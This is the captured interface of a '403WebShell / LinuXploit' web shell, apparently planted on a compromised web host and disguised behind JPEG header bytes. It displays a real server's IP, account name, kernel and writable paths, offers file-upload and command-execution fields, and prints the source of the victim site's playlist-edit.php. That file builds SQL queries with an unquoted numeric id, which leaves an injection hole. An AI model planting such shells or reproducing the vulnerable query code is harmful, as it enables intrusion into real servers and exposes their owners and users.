����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 13.59.62.63
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/playlist-edit.php
<?php
include './sidebar.php';
include './navbar.php';

if (isset($_GET['id'])) {
    if (!empty($_GET['id'])) {
        $id = mysqli_real_escape_string($conn, $_GET['id']);
        $sql = "SELECT `title`,`details`,`mode` FROM `playlists` WHERE `pid`=$id";
        if ($query_run = mysqli_query($conn, $sql)) {
            list($old_title, $old_details, $old_mode) = mysqli_fetch_array($query_run);
        } else {
            die(mysqli_error($conn));
        }
    }
}
?>

<!-- Settings -->
<div class="container-fluid pt-4 px-4">
    <div class="col-12">
        <div class="bg-secondary rounded p-4 my-4">
            <?php
            if (isset($_POST['submit'])) {
                $id = mysqli_real_escape_string($conn, htmlentities($_POST['pid']));
                $title = mysqli_real_escape_string($conn, htmlentities($_POST['title']));
                $details = mysqli_real_escape_string($conn, htmlentities($_POST['details']));
                $mode = mysqli_real_escape_string($conn, htmlentities($_POST['mode']));

                $sql = "UPDATE `playlists` SET `title`='$title', `details`='$details', `mode`='$mode' WHERE `pid`=$id";
                if (mysqli_query($conn, $sql)) {
                ?>
                    <script>
                        swal("SUCCESS", "Playlist was successfully Updated", "success");
                        setTimeout(function() {
                            window.location = 'playlists.php'
                        }, 1000);
                    </script>
                <?php
                } else {
                    die(mysqli_error($conn));
                }
            }
            ?>
            <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']).'?id='.$id; ?>" method="POST">
                <div class="form-floating mb-3">
                    <input type="text" name="title" class="form-control" id="floatingText" placeholder="Title" value="<?php echo isset($_GET['id']) ? $old_title : ''; ?>" required>
                    <label for="floatingText">Title</label>
                </div>
                <div class="form-floating mb-3">
                    <textarea class="form-control" name="details" placeholder="Leave a comment here" id="floatingTextarea" style="height: 150px;" required><?php echo isset($_GET['id']) ? $old_details : ''; ?></textarea>
                    <label for="floatingTextarea">Playlist Details</label>
                </div>
                <div class="form-floating mb-3">
                    <select class="form-select" name="mode" id="floatingSelect" aria-label="Floating label select example" required>
                        <option value="<?php echo $old_mode; ?>" selected>
                            <?php
                            if ($old_mode == 1) {
                                echo "Subscription";
                            } else {
                                echo "Free";
                            }
                            ?>
                        </option>
                        <option value="0">Free</option>
                        <option value="1">Subscription</option>
                    </select>
                    <label for="floatingSelect">Playlist Mode</label>
                </div>
                <input type="hidden" name="pid" value="<?php echo isset($_GET['id']) ? $id : null; ?>">
                <button type="submit" name="submit" class="btn btn-primary py-3 w-100 mb-4">Update</button>
            </form>
        </div>
    </div>
</div>
<!-- Settings End -->

<script>
    document.querySelector("title").innerText="Playlist Edit";
    document.querySelectorAll(".navbar-nav a")[1].classList.add("active");
</script>
<?php
include './footer.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit